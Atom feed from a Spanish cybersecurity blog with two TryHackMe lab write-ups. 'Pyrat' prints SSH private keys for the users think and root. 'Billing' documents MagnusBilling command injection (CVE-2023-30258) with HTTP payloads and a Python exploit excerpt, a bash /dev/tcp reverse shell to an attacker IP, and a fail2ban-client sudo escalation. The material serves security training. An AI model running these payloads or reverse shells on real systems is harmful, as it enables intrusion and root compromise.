<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://xhellhoundx.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://xhellhoundx.github.io/" rel="alternate" type="text/html" /><updated>2026-08-25T13:23:28+00:00</updated><id>https://xhellhoundx.github.io/feed.xml</id><title type="html">HellHound</title><subtitle>Blog y portofolio de ciberseguridad, análisis de sistemas y Writeups.</subtitle><entry><title type="html">Informe: Máquina “Pyrat” - TryHackme</title><link href="https://xhellhoundx.github.io/retos/pyrat" rel="alternate" type="text/html" title="Informe: Máquina “Pyrat” - TryHackme" /><published>2026-08-25T00:00:00+00:00</published><updated>2026-08-25T00:00:00+00:00</updated><id>https://xhellhoundx.github.io/retos/pyrat</id><content type="html" xml:base="https://xhellhoundx.github.io/retos/pyrat"><![CDATA[<h1 id="informe-de-amenazas--máquina-pyrat---plataforma-tryhackme">Informe de Amenazas- Máquina “Pyrat” - Plataforma “TryHackMe”</h1>
<p><br /></p>

<h3 id="resumen-summary">RESUMEN (Summary)</h3>
<p>Durante el ataque al host <code class="language-plaintext highlighter-rouge">Pyrat</code>, se identificó la presencia de los servicios SSH y SimpleHTTP. Mediante una conexión <strong>TCP/IP</strong> básica (propuesta por el documento HTML en el servicio web) por <code class="language-plaintext highlighter-rouge">nc</code> se logró ingresar a través de una shell reversa a la máquina objetivo, para posteriormente descubrir un proyecto gestionado por Git en un directorio con permisos abiertos, en el cual se pudo extraer las credenciales del usuario <code class="language-plaintext highlighter-rouge">think</code> y una porción del script en Python que procesa directamente las conexiones entrantes en el puerto 8000.</p>

<hr />

<h3 id="entorno-objetivo">ENTORNO OBJETIVO</h3>
<ul>
  <li><strong>Nombre de la Amenaza / Host</strong>: TryHackMe - Pyrat</li>
  <li><strong>Dirección IP / Alcance</strong>: <code class="language-plaintext highlighter-rouge">10.114.152.117</code></li>
  <li><strong>Sistema Operativo</strong>: Linux Ubuntu 20.04.6 LTS (Focal Fossa)</li>
  <li><strong>Objetivo Comercial/Función</strong>: Servidor web de producción simulado</li>
</ul>

<hr />

<h3 id="reconocimiento-y-recolección-reconnaissance--enumeration">RECONOCIMIENTO Y RECOLECCIÓN (Recon­naissance &amp; Enumeration)</h3>

<h4 id="escaneo-de-red-y-servicios-expuestos">Escaneo de Red y Servicios Expuestos</h4>
<p>Se ejecutó un escaneo completo de puertos mediante <code class="language-plaintext highlighter-rouge">Nmap</code> para determinar los servicios expuestos en la red:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> target.log 10.114.152.117
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p22</span>,8000 <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> openPorts.log 10.114.152.117
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Puerto</th>
      <th>Servicio</th>
      <th>Versión</th>
      <th>Estado</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22/TCP</td>
      <td>ssh</td>
      <td>OpenSSH 8.2p1 Ubuntu 4ubuntu0.13</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>8000/TCP</td>
      <td>http</td>
      <td>SimpleHTTP/0.6 Python/3.11.2</td>
      <td>Abierto</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="activos-encontrados">ACTIVOS ENCONTRADOS</h3>

<h4 id="script-procesando-conexiones">Script procesando conexiones</h4>

<p><a href="https://github.com/xhellhoundx/xhellhoundx.github.io/blob/main/scripts-exploits/pyrat.py" class="tag" target="_blank" rel="noopener">
  📜🐍 Revisa el script
</a></p>

<h4 id="llaves-id_rsa">Llaves id_rsa</h4>

<ul>
  <li>Llave del usuario <strong>think</strong></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
</code></pre></div></div>

<ul>
  <li>Llave del usuario <strong>root</strong></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
</code></pre></div></div>

<hr />

<h3 id="cadena-de-ataque-kill-chain">CADENA DE ATAQUE (Kill Chain)</h3>

<h4 id="exploit">Exploit</h4>

<p><a href="https://github.com/xhellhoundx/xhellhoundx.github.io/blob/main/scripts-exploits/exploit.sh" class="tag" target="_blank" rel="noopener">
  ⚙️ EXPLOIT
</a></p>]]></content><author><name></name></author><category term="retos" /><category term="nmap" /><category term="python" /><category term="simplehttp" /><category term="reverse-shell" /><category term="linux" /><category term="thm" /><summary type="html"><![CDATA[Informe de Amenazas- Máquina “Pyrat” - Plataforma “TryHackMe”]]></summary></entry><entry><title type="html">Informe Técnico: Máquina “Billing” - TryHackme</title><link href="https://xhellhoundx.github.io/retos/billing" rel="alternate" type="text/html" title="Informe Técnico: Máquina “Billing” - TryHackme" /><published>2026-08-20T00:00:00+00:00</published><updated>2026-08-20T00:00:00+00:00</updated><id>https://xhellhoundx.github.io/retos/billing</id><content type="html" xml:base="https://xhellhoundx.github.io/retos/billing"><![CDATA[<!-- Enlace tipo botón -->
<p><a href="/assets/reports/cti-2026-2008-thm.pdf" class="tag" target="_blank" rel="noopener">
  📄 Descargar Informe Oficial (PDF)
</a></p>

<h1 id="informe-de-inteligencia-de-amenazas--máquina-billing---plataforma-tryhackme">Informe de Inteligencia de Amenazas- Máquina “Billing” - Plataforma “TryHackMe”</h1>
<p><br /></p>

<h3 id="resumen-ejecutivo-executive-summary">RESUMEN EJECUTIVO (Executive Summary)</h3>
<ul>
  <li><strong>Propósito</strong>: Proporcionar una visión técnica y operativa sobre la instrusión realizada contra el objetivo en el entorno controlado, detallando las vulnerabilidades explotadas, la escalada de privilegios y las medidas para mitigar los riesgos.</li>
  <li><strong>Impacto Principal</strong>: Exposición total de la infraestructura crítica mediante la combinación de vulnerabilidades conocidas en servicios web expuestos y desconfiguraciones a nivel de sistema operativo.</li>
  <li><strong>Vector de Entrada</strong>: Explotación de RCE (Remote Code Execution) a través de un parámetro en la aplicación web desactualizada en el puerto 80/TCP.</li>
  <li><strong>Escalada de Privilegios</strong>: Uso indebido del binario <code class="language-plaintext highlighter-rouge">fail2ban-client</code> por reglas desconfiguradas para la obtención de acceso como root.</li>
  <li><strong>Resumen</strong>: Durante la auditoría/ataque de seguridad del host <code class="language-plaintext highlighter-rouge">Billing</code>, se identificó la existencia de un parámetro vulnerable en la ruta <code class="language-plaintext highlighter-rouge">/mbilling/lib/icepay/icepay.php</code>, previamente documentada en las versiones del software <em>MagnusBilling</em> 6 hasta la versión 7, corregida a partir del commit 7af21ed620 (inclusivo; a la fecha de Agosto 2026, los commits fueron eliminados de la plataforma Github), que consiste en la inyección de comandos (interpretada por una función <code class="language-plaintext highlighter-rouge">exec</code> mal ubicada en el script), mediante esta vulnerabilidad se logró obtener una credencial sensible, luego se establece una conexión saliente desde el objetivo hacia el equipo atacante (<em>reverse shell</em>) donde se establece la persistencia para posteriormente encontrar las desconfiguraciones en las reglas <code class="language-plaintext highlighter-rouge">sudoers</code> para el binario <code class="language-plaintext highlighter-rouge">/usr/bin/fail2ban-client</code> con el cual bajo sus acciones pertinentes se establece otra conexión saliente desde el objetivo hacia el equipo atacante, esta última con UID 0.</li>
</ul>

<hr />

<h3 id="entorno-objetivo">ENTORNO OBJETIVO</h3>
<ul>
  <li><strong>Nombre de la Amenaza / Host</strong>: TryHackMe - Billing</li>
  <li><strong>Dirección IP / Alcance</strong>: <code class="language-plaintext highlighter-rouge">10.112.175.201</code></li>
  <li><strong>Sistema Operativo</strong>: Linux Debian GNU/Linux 12 (bookworm)</li>
  <li><strong>Objetivo Comercial/Función</strong>: Servidor web de producción simulado</li>
</ul>

<hr />

<h3 id="fase-de-reconocimiento-y-recolección-reconnaissance--enumeration">FASE DE RECONOCIMIENTO Y RECOLECCIÓN (Recon­naissance &amp; Enumeration)</h3>

<h4 id="escaneo-de-red-y-servicios-expuestos">Escaneo de Red y Servicios Expuestos</h4>
<p>Se ejecutó un escaneo completo de puertos mediante <code class="language-plaintext highlighter-rouge">Nmap</code> para determinar los servicios expuestos en la red:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-T4</span> <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> target.log 10.112.175.201
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p22</span>,80,3306,5038 <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-vvv</span> <span class="nt">-oN</span> openPorts.log 10.112.175.201
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Puerto</th>
      <th>Servicio</th>
      <th>Versión</th>
      <th>Estado</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>22/TCP</td>
      <td>ssh</td>
      <td>OpenSSH 9.2p1 Debian 2+deb12u6</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>80/TCP</td>
      <td>http</td>
      <td>Apache httpd 2.4.62 ((Debian))</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>3306/TCP</td>
      <td>mysql</td>
      <td>MariaDB 10.3.23</td>
      <td>Abierto</td>
    </tr>
    <tr>
      <td>5038/TCP</td>
      <td>asterisk</td>
      <td>Asterisk Call Manager 2.10.6</td>
      <td>Abierto</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="hallazgos-de-enumeración-web-y-parámetro-vulnerable">Hallazgos de Enumeración Web y Parámetro vulnerable</h3>
<ul>
  <li>
    <p><strong>Parámetro vulnerable en script de PHP expuesto</strong>: Parámetro vulnerable en script de PHP expuesto: Tras hacer una enumeración de directorios se encontró la versión del Panel de administración web (MagnusBilling) en un archivo README.md que permitió realizar una búsqueda en la web superficial y encontrar vulnerabilidades relacionadas con este software y su versión.</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">/mbilling/lib/icepay/icepay.php?democ=</code> → (HTTP 200) - Ruta al parámetro vulnerable.</li>
    </ul>
  </li>
  <li>
    <p><strong>Enumeración con <code class="language-plaintext highlighter-rouge">gobuster</code></strong>: Se utilizó la herramienta <code class="language-plaintext highlighter-rouge">gobuster</code> para enumerar los directorios contenidos en la ruta raíz (<code class="language-plaintext highlighter-rouge">/mbilling/</code>) del <strong>Panel de Administración web MagnusBilling 7</strong> en el puerto 80, logrando descubrir la ruta <code class="language-plaintext highlighter-rouge">/lib/icepay</code> donde se encontraba el archivo expuesto <code class="language-plaintext highlighter-rouge">icepay.php</code> con el parámetro vulnerable <code class="language-plaintext highlighter-rouge">democ</code>.</p>
  </li>
</ul>

<hr />

<h3 id="cadena-de-ataque-kill-chain--technical-analysis">CADENA DE ATAQUE (Kill Chain &amp; Technical Analysis)</h3>

<h4 id="acceso-inicial-initial-access">Acceso Inicial (Initial Access)</h4>
<ul>
  <li><strong>Táctica MITRE ATT&amp;CK</strong>: Exploit Public-Facing Application (T1190)</li>
  <li><strong>Vulnerabilidad Explotada</strong>: Inyección de Comandos (Command Injection) CVE-2023-30258</li>
  <li><strong>Descripción del Exploit</strong>:
    <ul>
      <li>Con la versión de <em>MagnusBilling</em> encontrada (versión 7), se realizó la búsqueda de algún CVE existente para esta versión (<em>CVE-2023-30258</em>) el cual indica que existe una vulnerabilidad de inyección de comandos donde los usuarios no autenticados pueden ejecutar código arbitrario del SO en la máquina anfitriona (host) con los privilegios del servidor web (asterisk).</li>
    </ul>
  </li>
  <li>
    <p>Prueba de Concepto (PoC):
Para la verificación y explotación automatizada de la vulnerabilidad de inyección de comandos en el parámetro <code class="language-plaintext highlighter-rouge">democ</code> se utilizaron las siguientes fases de prueba:</p>

    <ul>
      <li>Verificación manual (Payloads HTTP):</li>
    </ul>
  </li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Inyección 1
http://10.112.175.201/mbilling/lib/icepay/icepay.php?democ=/dev/null;sleep+5;

# Inyección 2
http://10.112.175.201/mbilling/lib/icepay/icepay.php?democ=injection;id+&gt;+injection;
</code></pre></div></div>
<p>Los comandos anteriores sirvieron para:</p>

<ul>
  <li><strong>Inyección 1 - Blind Test</strong>: Comprueba la existencia de la inyección de comandos tras una espera de 5 segundos en cargar de nuevo la página.</li>
  <li>
    <p><strong>Inyección 2 - Output Reflected</strong>: Comprueba la ruta en el sistema donde se está almacenando el comando inyectado para posteriormente explotar la vulnerabilidad.</p>
  </li>
  <li>
    <p>Automatización mediante Exploit Customizado:
Se desarrolló un script automatizado en Python que realiza solicitudes <code class="language-plaintext highlighter-rouge">GET</code> para enviar las cargas maliciosas (payloads) inyectados y leer la respuesta en la ruta correspondiente en tiempo real. <em>El código fuente del exploit está disponible en el siguiente enlace, se hace énfasis en los dos métodos que ejecutan el “payload”</em></p>

    <p><a href="https://github.com/xhellhoundx/xhellhoundx.github.io/blob/main/scripts-exploits/cve-2023-30258.py">Exploit CVE-2023-30258</a></p>
  </li>
</ul>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Solicitud GET, envío de Payload:
</span><span class="n">req</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
        <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s">/mbilling/lib/icepay/icepay.php</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">params</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">democ</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">injection;</span><span class="si">{</span><span class="n">cmd</span><span class="si">}</span><span class="s"> &gt; injection;</span><span class="sh">'</span><span class="p">},</span>
        <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span>
        <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span>
        <span class="p">)</span>

<span class="c1"># Solicitud GET, lectura de respuesta en la ruta correspondiente:
</span><span class="n">FILE_INJECTION</span> <span class="o">=</span> <span class="sh">"</span><span class="s">/mbilling/lib/icepay/injection</span><span class="sh">"</span>
<span class="c1"># ...
</span><span class="n">res</span> <span class="o">=</span> <span class="n">req</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span>
        <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">url</span><span class="si">}{</span><span class="n">FILE_INJECTION</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span>
        <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span>
      <span class="p">)</span>
</code></pre></div></div>

<h4 id="puntuación-y-métrica-cvss-v31">Puntuación y Métrica CVSS v3.1</h4>
<ul>
  <li>Puntuación Base: 9.3 (Crítico)</li>
  <li>Vector CVSS: <code class="language-plaintext highlighter-rouge">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N</code></li>
</ul>

<h4 id="establecimiento-de-persistencia-y-movimiento-lateral">Establecimiento de Persistencia y Movimiento Lateral</h4>
<ul>
  <li><strong>Táctica MITRE ATT&amp;CK</strong>: Execution: Command and Scripting Interpreter: Unix Shell (T1059.004)</li>
  <li><strong>Descripción</strong>: Una vez alcanzado el exploit <em>CVE-2023-30258</em>, se estableció una conexión saliente desde el objetivo hacia el equipo atacante mediante un socket TCP en el puerto 3333.</li>
  <li><strong>Payload Utilizado</strong>:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/bash <span class="nt">-c</span> <span class="s1">'/bin/bash -i &gt;&amp; /dev/tcp/192.168.137.56/3334 0&gt;&amp;1'</span>
</code></pre></div>    </div>
  </li>
</ul>

<hr />

<h3 id="escalada-de-privilegios-privilege-escalation">ESCALADA DE PRIVILEGIOS (Privilege Escalation)</h3>

<ul>
  <li>
    <p><strong>Táctica MITRE ATT&amp;CK</strong>: Privilege Escalation (TA0004) / Abuse Elevation Control Mechanism: Bypass User Account Control (T1068.002)</p>
  </li>
  <li>
    <p><strong>Vector de Escalada</strong>: Regla de <code class="language-plaintext highlighter-rouge">/etc/sudoers</code> con directiva <code class="language-plaintext highlighter-rouge">NOPASSWD</code> (<em>CWE-266</em>) sobre <code class="language-plaintext highlighter-rouge">/usr/bin/fail2ban-client</code>, combinada con la explotación de una vulnerabilidad en conjunto con el <em>CVE-2025-45311</em> en el propio binario.</p>
  </li>
  <li>
    <p><strong>Comando de Detección</strong>:</p>
  </li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Listar las reglas de sudoers asignadas al usuario actual</span>
<span class="nb">sudo</span> <span class="nt">-l</span>
<span class="c"># ...</span>
<span class="o">(</span>root<span class="o">)</span> NOPASSWD: /usr/bin/fail2ban-client

<span class="c"># Reiniciar el servicio</span>
<span class="nb">sudo</span> /usr/bin/fail2ban-client restart

<span class="c"># Incluir la acción a realizar en el baneo de IP</span>
<span class="nb">sudo</span> /usr/bin/fail2ban-client <span class="nb">set </span>sshd action iptables-multiport actionstart <span class="s2">"/bin/bash -c '/bin/bash -i &amp;&gt; /dev/tcp/192.168.137.56/3334 0&gt;&amp;1'"</span>

<span class="c"># Banear la IP local, de esa forma se ejecuta el payload malicioso</span>
<span class="nb">sudo</span> /usr/bin/fail2ban-client <span class="nb">set </span>sshd banip 127.0.0.1
</code></pre></div></div>

<ul>
  <li><strong>Explotación</strong>: Una vez establecidas las reglas y acciones para el binario <code class="language-plaintext highlighter-rouge">/usr/bin/fail2ban-client</code>, se estableció una conexión saliente desde el objetivo hacia el equipo atacante mediante un socket TCP en el puerto 3334.</li>
</ul>

<h3 id="controversia-y-variantes-del-cve-2025-45311">Controversia y Variantes del CVE-2025-45311</h3>

<p>El desarrollo de la <em>prueba de concepto</em> (PoC) para la explotación del binario se basó en el registro <em>CVE-2025-45311</em>. Hay que destacar que dicho CVE está en “disputa” en la comunidad debido a los vectores de ataques que se identifican de dos maneras distintas:</p>

<ul>
  <li><strong>Vector por Inyección de Comandos Directa (Método ejecutado)</strong>: Consiste en la manipulación directa de parámetros no sanitizados para forzar la ejecución de instrucciones (acciones para <em>Fail2ban</em>) en el sistema operativo a través de la terminal de comandos, este es el método documentado en la sección <em>5.4 Escalada de Privilegios</em>.</li>
  <li><strong>Vector por Inclusión Local de Archivos de Configuración (Variante)</strong>: Planteada por terceros de la comunidad, argumenta que la vulnerabilidad proviene de la manipulación o carga incorrecta de los archivos de configuración (locales) en la ruta <code class="language-plaintext highlighter-rouge">/etc/fail2ban</code>, los cuales requieren condiciones adicionales del entorno para la ejecución remota de código.</li>
</ul>

<p><em><strong>Nota de inteligencia</strong>: Para efectos prácticos de este análisis, se confirma que el <strong>Vector por Inyección de Comandos Directa</strong> es plenamente funcional en el entorno auditado, proporciona un canal directo para la <strong>Ejecución Remota de Comandos</strong> (RCE) de forma determinante. Por otro lado no se ejecutó la variante del <strong>Vector por Inclusión Local de Archivos de Configuración</strong> debido a la ausencia de permisos de escritura sobre los archivos de configuración requeridos para la ejecución de instrucciones del binario.</em></p>

<hr />

<h3 id="indicadores-de-compromiso-iocs">INDICADORES DE COMPROMISO (IoCs)</h3>

<h4 id="indicadores-de-red-network-iocs">Indicadores de Red (Network IoCs)</h4>
<ul>
  <li><strong>IPs Maliciosas Relacionadas</strong>: <code class="language-plaintext highlighter-rouge">192.168.137.56</code> (IP de la máquina atacante en la VPN)</li>
  <li><strong>URLs Afectadas</strong>: <code class="language-plaintext highlighter-rouge">http://10.112.175.201/mbilling/lib/icepay/icepay.php</code></li>
  <li><strong>User-Agents Inusuales e Intentos de Conexión</strong>: Múltiples solicitudes hacia un parámetro vulnerable mediante inyección de comandos.</li>
</ul>

